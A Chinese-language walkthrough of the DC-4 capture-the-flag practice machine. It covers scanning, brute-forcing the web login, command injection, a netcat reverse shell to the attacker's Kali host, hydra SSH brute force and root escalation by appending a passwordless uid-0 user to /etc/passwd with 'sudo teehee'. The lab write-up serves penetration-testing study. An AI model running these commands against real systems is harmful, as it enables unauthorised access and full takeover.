简介:DC靶场一共有9个,对于学习渗透测试人员,有很大的帮助,是非常不错的靶场。
1、下载靶场
靶机名称:DC-4(包含5个flag)
下载地址:
2、安装靶场
以DC-1为例,将文件解压(一压缩包形式进行下载)。
打开虚拟机,选择解压好的文件导入虚拟机( vof 版本高于4.0,点击重试即可导入)
导入成功,开启此虚拟机( 当页面出现 DC-4 login 时表示安装成功)。
3、获取靶机的flag
前提:
1、已知kali的IP地址(ifconfig) —— kali IP地址:192.168.108.129/24 | 2、DC-4和kali在同一网段 | 已知DC-4所在的网段 —— DC-4 IP地址:192.168.130.134/24 |
3.1信息收集
获取DC-4的IP地址
命令:netdiscover -r 192.168.108.0/24
由图可知DC-4的IP地址是:192.168.108.134/24
端口扫描
命令:nmap -sV -p- 192.168.108.134
//-sV:扫描系统版本和程序版本号检测,-p-:全端口扫描
获取信息如下:
端口号 | 服务 | 版本 |
22 | ssh | 7.4p1 |
80 | http | nginx 1.15.10 |
3.2 渗透测试
在这里我们看见22的ssh第一反应就是可以对其进行账号密码的暴力破解,先打开80的http看一下吧
老规矩,再有真实IP的情况下首先修改本地的hosts文件,将域名和IP地址进行绑定
发现是一个登录框,可以输入账号密码,继续对其进行CMS的识别
CMS识别(使用工具CMSeek):python3 cmseek.py -u http://dc-4/
进行目录描扫,看看能不能拿到后台登陆的地址(实用工具dirb):dirb http://dc-4
这个结果证明有一个images的目录,看名字应该是存放图片的地方,后期有漏洞的话也可以尝试挂马试试
通过 msf 和 searchsploit 去查询是否有可以直接利用的漏洞信息
在使用searchsploit(kali自带的漏洞库)的时候发现了两个可以用户枚举的漏洞信息,查看并尝试使用看看能不能获取到ssh的用户信息
searchsploit -x linux/remote/45233.py
看了一下是一个python脚本,去脚本中给出的地址下载下来了,一看有很多依赖,没整太明白,还是先用burp抓包看一下
变量1(账号) | 变量2(密码) |
查看请求数据包之后发现好像也没有进行cookie等的验证,那就直接爆破一下账号密码吧
爆破结果(对返回数据包的长度进行筛选,得到正确的账号密码:admin、happy)
在登陆页面尝试登录,登陆成功
为了方便阅读,这里点完commend之后翻译一下这三个选项
可以看到执行了ls -l之后获取到了当前位置下的目录,这里猜测可以执行命令会不会是有一些敏感数据的传输,使用burp抓包看一下
burp抓包之后很惊喜,查看到在请求数据包内直接是对命令进行明文传输的,尝试对其进行修改看看能不能执行其他的命令
发现可以进行命令执行
ip add #查看靶机的IP地址
尝试获取shell,进行反弹:nc -e /bin/sh 192.168.108.129 6868
由于 DC-4 还是只存在一个flag,所以这里不用想了还是需要进行提权,继续收集信息
系统信息:
Linux 4.9.0-3-686
Debian 4.9.30-2
老套路了,改善一下shell交互的环境
python -c "import pty;pty.spawn('/bin/bash')"
进入家目录,查看发现存在了三个用户的家目录
可以明显看到在名为jim的用户文件夹里面有不一样的文件(重点查看)
很惊喜,居然看见了一个old-passwords.bak的文件,这很可能就是一个密码的备份文件
查看之后就是一个密码本(字典),并且包含了252个密码,可以尝试对ssh进行爆破了
使用九头蛇进行ssh的暴力破解
hydra -l jim -P old-passwd.txt ssh://dc-4 -v -f -e nr -t 4 # 为了加快我后期使用的是64线程
参数: | |
-l user | login 小写,指定用户名进行破解 |
-L file | 大写,指定用户的用户名字典 |
-p pass | 小写,用于指定密码破解,很少使用,一般采用密码字典 |
-P file | 大写,用于指定密码字典 |
-v / -V | 显示详细过程 |
-f | 找到第一对登录名或者密码的时候中止破解。 |
-e nsr | nsr 额外的选项,n:空密码试探,s:使用指定账户和密码试探,r:密码是用户名的反写 |
-t 数字 | tasks 同时运行的线程数,默认是16 |
成功得到了ssh
[22][ssh] | host: dc-4 | login: jim | password: jibril04 |
su - 切换到jim账户去查看mbox文件
在这个文件中我们可以得知,root给jim发送了一封邮件,继续去linux存放邮件的目录下找一下有没有这个邮件
注:linux系统收到邮件都会保存在“/var/spool/mail/[linux用户名]”文件中
注意这次切换用户的时候用户名需要改成小写
在这里不小心退出去了,所以直接使用charles、^xHhA&hvim0y直接ssh登录了
注意:teehee是个小众的linux编辑器。如果有sudo权限。可以利用其来提权
直接进行提权
原理:核心思路就是利用其在passwd文件中追加一条uid为0(root uit=0)的用户条目
使用:echo "hahaha888::0:0:::/bin/bash" | sudo teehee -a /etc/passwd
解释:按照linux用户机制,如果没有shadow条目,且passwd用户密码条目为空的时候,可以本地直接su空密码登录。所以只需要执行su hahaha888就可以登录到hahaha888用户,这个用户因为uid为0,所以也是root权限
可以看到在执行完指令之后直接变为了root(超户),提权成功
成功在/root/目录下拿到flag
点击
下方名片
,加入GG安全团队,期待师傅们的加入,一起学习一起成长。